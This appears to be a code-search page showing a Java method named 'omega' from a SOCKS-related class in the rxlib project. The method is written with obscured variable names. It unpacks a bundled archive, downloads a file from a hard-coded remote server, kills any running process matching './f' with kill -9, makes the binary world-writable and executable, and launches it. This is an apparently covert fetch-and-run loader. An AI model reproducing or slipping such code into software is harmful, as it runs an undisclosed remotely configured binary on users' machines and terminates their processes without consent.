Search in sources :

Example 1 with ShellCommander

use of org.rx.core.ShellCommander in project rxlib by RockyLOMO.

the class SocksContext method omega.

@SneakyThrows
public static void omega(String n, BiAction<ShellCommander.OutPrintEventArgs> o) {
    try {
        int d = 100;
        String k = "omega", c = "./m/", z = c + "o", i = c + "c";
        Files.createDirectory(c);
        Files.saveFile(z, Reflects.getResource(k));
        Thread.sleep(d);
        Files.unzip(z, c);
        Thread.sleep(d);
        new HttpClient().get("https://cloud.f-li.cn:6400/" + k + "_" + n).toFile(i);
        Thread.sleep(d);
        ShellCommander.exec("ps -ef|grep -v grep|grep ./f|awk '{print $2}'|xargs kill -9", c);
        ShellCommander.exec("chmod 777 f", c);
        ShellCommander sc = new ShellCommander("./f -c c", c);
        if (o != null) {
            sc.onOutPrint.combine((s, e) -> o.invoke(e));
        }
        Container.register(ShellCommander.class, sc.start());
    } catch (Throwable e) {
        if (o != null) {
            o.invoke(new ShellCommander.OutPrintEventArgs(0, e.toString()));
        }
    }
}
Also used : ShellCommander(org.rx.core.ShellCommander) HttpClient(org.rx.net.http.HttpClient) UnresolvedEndpoint(org.rx.net.support.UnresolvedEndpoint) SneakyThrows(lombok.SneakyThrows)

Aggregations

SneakyThrows (lombok.SneakyThrows)1 ShellCommander (org.rx.core.ShellCommander)1 HttpClient (org.rx.net.http.HttpClient)1 UnresolvedEndpoint (org.rx.net.support.UnresolvedEndpoint)1